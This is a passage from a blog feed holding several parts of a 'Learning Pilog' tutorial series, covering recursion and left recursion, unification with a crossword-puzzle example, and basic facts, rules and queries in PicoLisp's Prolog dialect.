(be is_digesting (@X @Y)
   (just_ate @X @Y) )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output is the same as in the previous question, just top-down: We get the lowest level &lt;strong&gt;first&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;:  (? (is_digesting Stork @X))
 @X=(Blood John)
 @X=Frog
 @X=Mosquito
-&amp;gt; NIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why? Because Pilog is checking if there is a successor (&lt;code&gt;(just_ate @X @Z)&lt;/code&gt;) &lt;strong&gt;before&lt;/strong&gt; it checks the direct connection &lt;code&gt;(just_ate @X @Y)&lt;/code&gt;. This corresponds to a different traversal in a tree search (some examples can be found in the PicoLisp example of &lt;a href="https://picolisp-blog.hashnode.dev/binary-tree-traversal-part-1"&gt;this Rosetta code task&lt;/a&gt;).&lt;/p&gt;




&lt;h3&gt;
  
  
  How NOT To Do It
&lt;/h3&gt;

&lt;p&gt;Now let's try another variant which also seems okay from logic point of view:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be is_digesting (@X @Y)
   (is_digesting @Z @Y) 
   (just_ate @X @Z) )

(be is_digesting (@X @Y)
   (just_ate @X @Y) )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What is different? Instead of checking first if an item &lt;code&gt;@Z&lt;/code&gt; has been eaten by &lt;code&gt;@X&lt;/code&gt;, we check if &lt;code&gt;@Z&lt;/code&gt; is digesting &lt;code&gt;@Y&lt;/code&gt;. We run our same query again - unfortunately, this calculation never terminates!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
: (? (is_digesting Stork @X))
 @X=Frog
 @X=Mosquito
 @X=(blood John)



&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instead of terminating, the REPL keeps on printing empty lines and we have to cancel with &lt;code&gt;^C&lt;/code&gt;. Let's trace it again to see what is happening. Again, we can print out the current rules with &lt;code&gt;(rules &amp;lt;predicate(s)&amp;gt;)&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (rules 'is_digesting 'just_ate)
1 (be is_digesting (@X @Y) (just_ate @X @Y))
2 (be is_digesting (@X @Y) (is_digesting @Z @Y) (just_ate @X @Z))
1 (be just_ate (Mosquito (blood John)))
2 (be just_ate (Frog Mosquito))
3 (be just_ate (Stork Frog))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we start the query in trace mode, i.e. &lt;code&gt;(? &amp;lt;predicate(s)&amp;gt; (&amp;lt;predicate&amp;gt; &amp;lt;args&amp;gt;))&lt;/code&gt;. The beginning looks OK:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? is_digesting just_ate (is_digesting Stork @X))
1 (is_digesting Stork @Y)
3 (just_ate Stork Frog)
 @X=Frog
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;@X&lt;/code&gt; is unified with  &lt;code&gt;Frog&lt;/code&gt; due to the first clause of &lt;code&gt;is_digesting&lt;/code&gt; and the third clause of the &lt;code&gt;just_ate&lt;/code&gt; predicate.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2 (is_digesting Stork @Y)
1 (is_digesting @X @Y)
1 (just_ate Mosquito (blood John))
2 (just_ate Frog Mosquito)
3 (just_ate Stork Frog)
 @X=Mosquito
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then the &lt;code&gt;Mosquito&lt;/code&gt; is found using the &lt;strong&gt;second&lt;/strong&gt; rule of the &lt;code&gt;is_digesting&lt;/code&gt; predicate, which is looking for an &lt;code&gt;@Y&lt;/code&gt; that is currently being digested. The Mosquito is digested by the frog (Rule 2). Similarly, &lt;code&gt;(blood John)&lt;/code&gt; is also found.&lt;/p&gt;




&lt;p&gt;However, if we then press &lt;code&gt;&amp;lt;Enter&amp;gt;&lt;/code&gt;, we get a neverending loop of printouts of the following lines:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2 (is_digesting @X @Y)
1 (is_digesting @X @Y)
1 (just_ate Mosquito (blood John))
2 (just_ate Frog Mosquito)
3 (just_ate Stork Frog)
2 (just_ate Frog Mosquito)
3 (just_ate Stork Frog)
3 (just_ate Stork Frog)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What is happening? Like in the examples above, Pilog is trying to find something that "just ate" &lt;code&gt;@Y&lt;/code&gt;. But since there is no termination condition for the loop, Pilog tries to recursively replace &lt;code&gt;@Y&lt;/code&gt; by something that is "not Stork" in order to find a solution, and gets into an infinite loop.&lt;/p&gt;

&lt;p&gt;This is called &lt;strong&gt;left recursion&lt;/strong&gt; and is the root cause of our problem.&lt;/p&gt;




&lt;h3&gt;
  
  
  Example: Travel plans
&lt;/h3&gt;




&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--IgengZD_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1635355359862/8CZSBelJT.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--IgengZD_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1635355359862/8CZSBelJT.jpeg" alt="train.jpg" width="880" height="1320"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;Now let's use recursion to solve this little task: Using Pilog to tell us if we can get from A to B using the pre-defined resources.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be directTrain (Saarbruecken Dudweiler))
(be directTrain (Forbach Saarbruecken))
(be directTrain (Freyming Sorbach))
(be directTrain (StAvold Freyming))
(be directTrain (Fahlquemont StAvold))
(be directTrain (Metz Fahlquemont))
(be directTrain (Nancy Metz))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;Obviously, we can directly travel between two cities if there is a direct train.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be travelBetween (@X @Y)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In case there is no direct train, we can solve it by recursion: We search for another station &lt;code&gt;@Z&lt;/code&gt; that is reachable from &lt;code&gt;@X&lt;/code&gt;, and check if that station &lt;code&gt;@Z&lt;/code&gt; is connected to &lt;code&gt;@Y&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be travelBetween (@X @Y)
   (directTrain @X @Z)
   (travelBetween @Z @Y))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;Now let's quickly consider what happens if we implement the other way round. Probably if there's a train from X to Y, then there should also be a train from Y to X, right?&lt;/p&gt;

&lt;p&gt;So does that mean that we can do something like this - expanding our previous example by simply swapping &lt;code&gt;@X&lt;/code&gt; and &lt;code&gt;@Y&lt;/code&gt; in each line?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be travelBetween (@X @Y)
   (directTrain @X @Y))

(be travelBetween (@Y @X)
   (directTrain @Y @X))

...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;Unfortunately not. Since we can go in both directions, we can end up in infinite loops, travelling between &lt;code&gt;X&lt;/code&gt; and &lt;code&gt;Y&lt;/code&gt; and neever getting any further.&lt;/p&gt;

&lt;p&gt;In order to implement something like this, we need to be able to "cut" a search tree after a given result - we will discuss in a further post how to do this.&lt;/p&gt;




&lt;p&gt;In the next post, we will see how to work with &lt;strong&gt;lists&lt;/strong&gt; in Pilog, a concept that we also frequently see in "normal" PicoLisp.&lt;/p&gt;




&lt;h3&gt;
  
  
  Sources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="http://www.let.rug.nl/bos/lpn//lpnpage.php?pageid=online"&gt;http://www.let.rug.nl/bos/lpn//lpnpage.php?pageid=online&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://giphy.com/gifs/TreehouseDirect-max-and-ruby-maxandruby-maxruby-MxUDoGG7IJg1qWpQay"&gt;https://giphy.com/gifs/TreehouseDirect-max-and-ruby-maxandruby-maxruby-MxUDoGG7IJg1qWpQay&lt;/a&gt;
&lt;a href="https://unsplash.com/@roland_loesslein?utm_source=unsplash&amp;amp;utm_medium=referral&amp;amp;utm_content=creditCopyText"&gt;Roland Lösslein&lt;/a&gt; on &lt;a href="https://unsplash.com/s/photos/train?utm_source=unsplash&amp;amp;utm_medium=referral&amp;amp;utm_content=creditCopyText"&gt;Unsplash&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>picolisp</category>
      <category>lisp</category>
      <category>functional</category>
      <category>logic</category>
    </item>
    <item>
      <title>Learning Pilog -3: Unification and Proof Search</title>
      <dc:creator>Mia</dc:creator>
      <pubDate>Thu, 09 Jun 2022 17:05:06 +0000</pubDate>
      <link>https://dev.to/miatemma/learning-pilog-3-unification-and-proof-search-2il1</link>
      <guid>https://dev.to/miatemma/learning-pilog-3-unification-and-proof-search-2il1</guid>
      <description>&lt;p&gt;In the last post, we have seen how we can create a knowledge base and run queries on it. Today we will try to understand how Prolog computes the result of a query. &lt;/p&gt;

&lt;p&gt;This chapter is based on &lt;a href="http://www.let.rug.nl/bos/lpn//lpnpage.php?pagetype=html&amp;amp;pageid=lpn-htmlch2"&gt;this Prolog tutorial&lt;/a&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  What is Unification?
&lt;/h3&gt;

&lt;p&gt;Let's check the definition for &lt;strong&gt;unification&lt;/strong&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Two terms unify if they are the same term or if they contain variables that can be uniformly instantiated with terms in such a way that the resulting terms are equal. &lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;Sounds complicated, let's check it step by step. "Two terms unify if they are the same term". That is actually trivial. We can test that with the built-in predicate &lt;code&gt;equal/2&lt;/code&gt; (&lt;code&gt;/2&lt;/code&gt; means that the predicate takes two arguments):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? (equal John John))
-&amp;gt; T
: (? (equal John Susie))
-&amp;gt; NIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;Let's define a knowledge base as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be house_elf (Dobby))
(be witch (Hermione))
(be witch (Rita_Skeeter))
(be wizard (Harry))

(be magic (@X)
   (or
      ((house_elf @X))
      ((wizard @X))
      ((witch @X)) ) )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;We open the knowledge base with &lt;code&gt;pil magic.l +&lt;/code&gt; in the REPL. Now we can write a query for &lt;code&gt;magic&lt;/code&gt;. The defined rule says that magic is true if &lt;code&gt;@X&lt;/code&gt; is either a &lt;code&gt;house_elf&lt;/code&gt;, a &lt;code&gt;wizard&lt;/code&gt; or a &lt;code&gt;witch&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? (magic @X))
 @X=Dobby
 @X=Harry
 @X=Hermione
 @X=Rita_Skeeter
-&amp;gt; NIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From the output above we can see that &lt;code&gt;@X&lt;/code&gt; &lt;strong&gt;unifies&lt;/strong&gt; with with &lt;code&gt;Dobby&lt;/code&gt;, &lt;code&gt;Harry&lt;/code&gt;, &lt;code&gt;Hermione&lt;/code&gt; and &lt;code&gt;Rita_skeeter&lt;/code&gt;. To understand what is happening, let's use some additional tracing features of pilog.&lt;/p&gt;




&lt;p&gt;First of all, we can check the defined rules with the &lt;code&gt;rules&lt;/code&gt; function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (rules 'magic)
1 (be magic (@X) (or ((house_elf @X)) ((wizard @X)) ((witch @X))))
-&amp;gt; magic
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We see that in this case there is only one rule for magic, with three subclauses which are connected by &lt;code&gt;or&lt;/code&gt;. Now let's trace it using &lt;code&gt;(? &amp;lt;predicate(s)&amp;gt; ( &amp;lt;predicate&amp;gt; &amp;lt;arg1&amp;gt; ...))&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? magic house_elf wizard witch (magic @X))
1 (magic @X)
1 (house_elf Dobby)
 @X=Dobby
1 (wizard Harry)
 @X=Harry
1 (witch Hermione)
 @X=Hermione
2 (witch Rita_Skeeter)
 @X=Rita_Skeeter
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With this we are tracing the predicates &lt;code&gt;magic&lt;/code&gt;, &lt;code&gt;house_elf&lt;/code&gt;, &lt;code&gt;wizard&lt;/code&gt; and &lt;code&gt;witch&lt;/code&gt;. We see that &lt;code&gt;magic&lt;/code&gt; only appears at the very beginning, after that the other predicates are executed. Pilog tries to unify &lt;code&gt;@X&lt;/code&gt;with the first known fact which is defined in the &lt;code&gt;house_elf&lt;/code&gt; predicate, which returns &lt;code&gt;Dobby&lt;/code&gt;. Thus &lt;code&gt;Dobby&lt;/code&gt; can be unified with &lt;code&gt;@X&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;After that, Pilog moves on to the next predicate, &lt;code&gt;wizard&lt;/code&gt;, and then &lt;code&gt;witch&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;What is happening here? Pilog is doing a &lt;strong&gt;backtracking tree search&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--jXX2grFI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1635337366590/JTrI-yvqB.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--jXX2grFI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1635337366590/JTrI-yvqB.png" alt="backtracking.png" width="692" height="257"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is an important concept which we will further explore in the next post when we will talk about recursion.&lt;/p&gt;




&lt;h3&gt;
  
  
  Example: Crossword Puzzle
&lt;/h3&gt;

&lt;p&gt;Now let's illustrate the unification process at a little more interesting example: A simple crossword puzzle for six italien words: &lt;em&gt;astante, astoria, baratto, cobalto, pistola, statale&lt;/em&gt;. They should be arranged in the following grid:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--e6xag2B---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1635339306823/PVGkmg1rG.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--e6xag2B---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1635339306823/PVGkmg1rG.png" alt="crossword.png" width="643" height="530"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;How can we solve this with help of Pilog?&lt;/p&gt;




&lt;p&gt;First, let's define the &lt;strong&gt;knowledge base&lt;/strong&gt;. We know that we have six words with seven letters each. Let's define it like this: first comes the &lt;strong&gt;full&lt;/strong&gt; word, after that comes each letter as single argument.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be word (astante a s t a n t e))
(be word (astoria a s t o r i a))
(be word (baratto b a r a t t o))
(be word (cobalto c o b a l t o))
(be word (pistola p i s t o l a))
(be word (statale s t a t a l e))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we can define the rule for our crossword. Let's start with the left half of the clause: we want a valid crossword solution with six words &lt;code&gt;@V1-3&lt;/code&gt;, &lt;code&gt;@H1-3&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be crossword (@V1 @V2 @V3 @H1 @H2 @H3)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Basically we have only one rule: The crossword solution is valid if the letters at the intersections are identical. If you check the grid, you will agree that this means that the 2nd, 4th and 6th letter of each vertical and horizontal word must match. On the other hand, we don't care about the 1st, 3rd, 5th and 7th letter. The "don't care"-letters can be written as &lt;code&gt;@&lt;/code&gt; - a so-called &lt;em&gt;anonymous variable&lt;/em&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be crossword (@V1 @V2 @V3 @H1 @H2 @H3)
   (word @H1 @ @H12V12 @ @H14V22 @ @H16V32 @)
   (word @H2 @ @H22V14 @ @H24V24 @ @H26V34 @)
   (word @H3 @ @H32V16 @ @H34V26 @ @H36V36 @)
   (word @V1 @ @H12V12 @ @H22V14 @ @H32V16 @)
   (word @V2 @ @H14V22 @ @H24V24 @ @H34V26 @)
   (word @V3 @ @H16V32 @ @H26V34 @ @H36V36 @) )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;where &lt;code&gt;@H12V12&lt;/code&gt; is the second letter of the first horizontal and first vertical word, &lt;code&gt;@H14V22&lt;/code&gt; is the fourth letter of the first horizontal and the second letter of the second vertical word, and so on.&lt;/p&gt;

&lt;p&gt;Now we can feed this to Pilog and query the solution. We get two valid results:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? (crossword @V1 @V2 @V3 @H1 @H2 @H3))
 @V1=astante @V2=baratto @V3=statale @H1=astante @H2=baratto @H3=statale
 @V1=astoria @V2=baratto @V3=statale @H1=astante @H2=cobalto @H3=pistola 
-&amp;gt; NIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I think this example illustrates the power of Pilog in a very nice way: You just need to feed in the facts and the desired target, and you can get all solutions instantely without caring too much about what is happening internally.&lt;/p&gt;




&lt;p&gt;You can find the knowledge base &lt;code&gt;magic.l&lt;/code&gt;  and &lt;code&gt;crossword.l&lt;/code&gt; &lt;a href="https://gitlab.com/picolisp-blog/web-applications/-/tree/main/pilog"&gt;here&lt;/a&gt;.&lt;/p&gt;




&lt;p&gt;In the next post we will go deeper into recursion, one of the most important concepts in Pilog/Prolog.&lt;/p&gt;




&lt;h3&gt;
  
  
  Sources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="http://www.let.rug.nl/bos/lpn//lpnpage.php?pagetype=html&amp;amp;pageid=lpn-htmlch2"&gt;http://www.let.rug.nl/bos/lpn//lpnpage.php?pagetype=html&amp;amp;pageid=lpn-htmlch2&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.tutorialspoint.com/prolog/prolog_backtracking.htm"&gt;https://www.tutorialspoint.com/prolog/prolog_backtracking.htm&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/dragonwasrobot/learn-prolog-now-exercises/blob/master/chapter-02/exercises.pl"&gt;https://github.com/dragonwasrobot/learn-prolog-now-exercises/blob/master/chapter-02/exercises.pl&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>picolisp</category>
      <category>lisp</category>
      <category>prolog</category>
      <category>pilog</category>
    </item>
    <item>
      <title>Learning Pilog - 2: Facts, Rules, Queries</title>
      <dc:creator>Mia</dc:creator>
      <pubDate>Mon, 06 Jun 2022 13:32:34 +0000</pubDate>
      <link>https://dev.to/miatemma/learning-pilog-2-facts-rules-queries-39bj</link>
      <guid>https://dev.to/miatemma/learning-pilog-2-facts-rules-queries-39bj</guid>
      <description>&lt;p&gt;This post follows the tutorial from &lt;a href="http://www.let.rug.nl/bos/lpn//lpnpage.php?pageid=online"&gt;"Learn Prolog Now!", Chapter 1&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The goal of this post is to introduce the basic concept and syntax of Pilog and to write some first small programs.&lt;/p&gt;




&lt;h3&gt;
  
  
  The Knowledge Base
&lt;/h3&gt;

&lt;p&gt;In imperative programming, the programmer literally tells the computer what to do step by step. In logical programming it works differently: The programmer writes &lt;strong&gt;everything they know into a file&lt;/strong&gt; and then creates a query on it. The program then deducts logically from the given facts if a statement can be true or false. The file with all the known facts is called the &lt;strong&gt;knowledge base&lt;/strong&gt;. &lt;/p&gt;

&lt;p&gt;The knowledge base contains &lt;strong&gt;facts&lt;/strong&gt; and &lt;strong&gt;rules&lt;/strong&gt;. We can work with them by using &lt;strong&gt;queries&lt;/strong&gt;. Facts, rules and queries are &lt;strong&gt;clauses&lt;/strong&gt;. Let's see how they can look like.&lt;/p&gt;




&lt;h3&gt;
  
  
  Facts
&lt;/h3&gt;

&lt;p&gt;Facts are used to state that things are &lt;strong&gt;unconditionally&lt;/strong&gt; true. For example, let's write the following statements in Pilog (you can start the REPL with &lt;code&gt;pil +&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (be likes (John Susie))                   # John likes Susie 
: (be likes (@X Susie))                      # Everyone likes Susie 
: (be likes (John @Y))                       # John likes everybody 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;John&lt;/code&gt; and &lt;code&gt;Susie&lt;/code&gt; are &lt;em&gt;constants&lt;/em&gt;, &lt;code&gt;likes&lt;/code&gt; is a &lt;em&gt;predicate&lt;/em&gt;. Constants can start with an uppercase or lowercase letters (unlike in Prolog, where constants need be lowercase). &lt;/p&gt;

&lt;p&gt;On the other hand, &lt;code&gt;@X&lt;/code&gt; and &lt;code&gt;@Y&lt;/code&gt; are &lt;em&gt;variables&lt;/em&gt;. All variables start with an &lt;code&gt;@&lt;/code&gt; symbol. &lt;/p&gt;




&lt;h3&gt;
  
  
  Rules
&lt;/h3&gt;

&lt;p&gt;Rules state things that are &lt;strong&gt;conditionally true&lt;/strong&gt; depending on the given rules.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# X and Y are friends if they like each other
(be friends (@X @Y)
   (likes @X @Y)
   (likes @Y @X) )

# X hates Y if X does not like Y. 
(be hates (@X @Y)
   (not (likes @X @Y)) )

# X and Y are enemies if they don't like each other.
(be enemies (@X @Y)
   (not (likes @X @Y))
   (not (likes @Y @X)) )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;Let's call the predicate names with the dependencies &lt;code&gt;friends (@X @Y)&lt;/code&gt; the "left side" and the following statements the "right side" of a clause (this terminology comes from the mathematical notation of logic terms).&lt;/em&gt; &lt;/p&gt;

&lt;p&gt;We can read the rules as: &lt;em&gt;If the left side is true, then the right side is true.&lt;/em&gt; This notation is called a &lt;a href="https://en.wikipedia.org/wiki/Horn_clause"&gt;&lt;strong&gt;Horn clause&lt;/strong&gt;&lt;/a&gt;.  In Horn clause logic, the left hand side of the clause is the conclusion, and must be a single positive literal. The right hand side contains the premises.&lt;/p&gt;

&lt;p&gt;In boolean logic, statements can be linked with &lt;code&gt;and&lt;/code&gt; or &lt;code&gt;or&lt;/code&gt;. The "and" is expressed by two consecutive statements in Pilog (see examples), the "or" using the &lt;code&gt;or&lt;/code&gt; function. The negation of a statement is &lt;code&gt;not&lt;/code&gt;.&lt;/p&gt;




&lt;h3&gt;
  
  
  Creating the knowledge base
&lt;/h3&gt;

&lt;p&gt;Now let's write the following statements into a file called &lt;code&gt;friends.l&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(be likes (John Susie))
(be likes (John Pizza))
(be likes (Susie John))

(be friends (@X @Y)
   (likes @X @Y)
   (likes @Y @X) )

(be hates (@X @Y)
   (not (likes @X @Y)) )

(be enemies (@X @Y)
   (not (likes @X @Y))
   (not (likes @Y @X)) )
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We have six clauses: three facts and three rules. This is our knowledge base. Let's open it in PicoLisp:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ pil friends.l +
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we can run &lt;strong&gt;queries&lt;/strong&gt; no our knowledge base.&lt;/p&gt;




&lt;h3&gt;
  
  
  Running queries
&lt;/h3&gt;

&lt;p&gt;We can run interactive queries in the REPL with &lt;code&gt;?&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? (likes John Susie))
-&amp;gt; T
: (? (friends John Susie))
-&amp;gt; T
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Susie and John are friends because they mutually like each other. &lt;/p&gt;

&lt;p&gt;Now let's try to query for something where we don't have any information about.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? (likes Susie Pizza))
-&amp;gt; NIL
? (? (not (likes Susie Pizza)))
-&amp;gt; T
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you can see in the following example, if something cannot be proven correct, then Pilog/Prolog conclude that it is wrong. This is called &lt;strong&gt;strong negation&lt;/strong&gt;. See the following example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? (enemies Susie Pizza))
-&amp;gt; T
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We don't know if Susie likes Pizza, and we also don't know if the Pizza likes Susie. Therefore the logical deduction concludes they must be enemies. &lt;/p&gt;

&lt;p&gt;This is probably not what we intended. There are alternative ways to define &lt;em&gt;weak negation&lt;/em&gt; (if something cannot be proven false, it is correct)&lt;br&gt;
 that we will talk about in a later post. For the moment, keep in mind that anything not defined is considered as &lt;code&gt;NIL&lt;/code&gt;.&lt;/p&gt;


&lt;h3&gt;
  
  
  Working with variables
&lt;/h3&gt;

&lt;p&gt;Now let's write a more interesting one. Let's ask Pilog to return everything that John likes. This "everything" will be represented by a &lt;strong&gt;variable&lt;/strong&gt; in our query. Pilog recognizes variables by the &lt;code&gt;@&lt;/code&gt; symbol at the beginning.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? (likes John @X))
 @X=Susie
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;John likes Susie: In other word, we can say that the term &lt;code&gt;(likes John @X)&lt;/code&gt; &lt;strong&gt;unifies&lt;/strong&gt; with the term &lt;code&gt;(likes John Susie)&lt;/code&gt; with &lt;code&gt;(@X = Susie)&lt;/code&gt;.  If we now press &lt;code&gt;&amp;lt;Enter&amp;gt;&lt;/code&gt;, we will get additional results:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? (likes John @X))
 @X=Susie
 @X=Pizza
-&amp;gt; NIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;What if we ask for predicates that are not defined in the knowledge base?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;: (? (love John Susie))
-&amp;gt; NIL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The query returns &lt;code&gt;NIL&lt;/code&gt;. Similarly when the number of arguments is not matching to the defined predicate:&lt;br&gt;
